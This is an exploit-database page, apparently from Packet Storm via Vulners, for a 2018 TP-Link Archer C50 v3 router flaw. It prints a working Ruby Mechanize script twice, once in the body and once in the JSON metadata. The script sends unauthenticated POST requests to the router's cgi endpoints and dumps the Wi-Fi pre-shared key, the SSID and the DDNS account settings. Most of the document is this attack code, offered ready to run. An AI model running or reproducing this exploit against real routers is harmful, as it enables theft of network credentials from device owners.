Search...

TP-Link C50 Wireless Router 3 Information Disclosure Cross Site Request Forgery

2018-08-09T00:00:00

ID PACKETSTORM:148866
Type packetstorm
Reporter Wadeek
Modified 2018-08-09T00:00:00

Description

                                        
                                            `# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure)  
# Date: 2018-08-09  
# Exploit Author: Wadeek  
# Vendor Homepage: https://www.tp-link.com/  
# Hardware Version: Archer C50 v3 00000001  
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware  
# Firmware Version: &lt;= Build 171227  
  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
url = "http://192.168.0.1:80/"  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
require('mechanize')  
agent = Mechanize.new()  
  
def dump(agent, url, path, query)  
begin  
response = agent.post(url+path, query, {  
"User-Agent" =&gt; "",  
"Accept" =&gt; "*/*",  
"Referer" =&gt; "http://192.168.0.1/mainFrame.htm",  
"Content-Type" =&gt; "text/plain",  
"Connection" =&gt; "keep-alive",  
"Cookie" =&gt; ""  
})  
rescue Exception =&gt; e  
begin  
puts(e.inspect())  
puts(e.page().body())  
rescue  
end  
puts("")  
else  
puts(path)  
puts(response.body())  
puts("")  
end  
end  
  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
# Get Wireless Settings  
dump(agent, url, "cgi?5", "[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,10\r\nname\r\nenable\r\nstandard\r\nSSID\r\nregulatoryDomain\r\npossibleChannels\r\nautoChannelEnable\r\nchannel\r\nX_TP_PreSharedKey\r\nX_TP_Band\r\n")  
  
# Get DDNS Settings  
dump(agent, url, "cgi?1&1&1", "[DYN_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0\r\n[CMX_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]2,0\r\n")  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:148866", "type": "packetstorm", "bulletinFamily": "exploit", "title": "TP-Link C50 Wireless Router 3 Information Disclosure Cross Site Request Forgery", "description": "", "published": "2018-08-09T00:00:00", "modified": "2018-08-09T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://packetstormsecurity.com/files/148866/TP-Link-C50-Wireless-Router-3-Information-Disclosure-Cross-Site-Request-Forgery.html", "reporter": "Wadeek", "references": [], "cvelist": [], "lastseen": "2018-08-11T09:54:16", "viewCount": 8, "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2018-08-11T09:54:16", "rev": 2}, "dependencies": {"references": [], "modified": "2018-08-11T09:54:16", "rev": 2}, "vulnersScore": -0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/148866/tplinkc50id-xsrf.txt", "sourceData": "`# Exploit Title: TP-Link C50 Wireless Router 3 - Cross-Site Request Forgery (Information Disclosure) \n# Date: 2018-08-09 \n# Exploit Author: Wadeek \n# Vendor Homepage: https://www.tp-link.com/ \n# Hardware Version: Archer C50 v3 00000001 \n# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware \n# Firmware Version: <= Build 171227 \n \n#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \nurl = \"http://192.168.0.1:80/\" \n#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \n \nrequire('mechanize') \nagent = Mechanize.new() \n \ndef dump(agent, url, path, query) \nbegin \nresponse = agent.post(url+path, query, { \n\"User-Agent\" => \"\", \n\"Accept\" => \"*/*\", \n\"Referer\" => \"http://192.168.0.1/mainFrame.htm\", \n\"Content-Type\" => \"text/plain\", \n\"Connection\" => \"keep-alive\", \n\"Cookie\" => \"\" \n}) \nrescue Exception => e \nbegin \nputs(e.inspect()) \nputs(e.page().body()) \nrescue \nend \nputs(\"\") \nelse \nputs(path) \nputs(response.body()) \nputs(\"\") \nend \nend \n \n#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \n# Get Wireless Settings \ndump(agent, url, \"cgi?5\", \"[LAN_WLAN#0,0,0,0,0,0#0,0,0,0,0,0]0,10\\r\\nname\\r\\nenable\\r\\nstandard\\r\\nSSID\\r\\nregulatoryDomain\\r\\npossibleChannels\\r\\nautoChannelEnable\\r\\nchannel\\r\\nX_TP_PreSharedKey\\r\\nX_TP_Band\\r\\n\") \n \n# Get DDNS Settings \ndump(agent, url, \"cgi?1&1&1\", \"[DYN_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,0\\r\\n[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,0\\r\\n[CMX_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]2,0\\r\\n\") \n#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \n \n`\n", "immutableFields": []}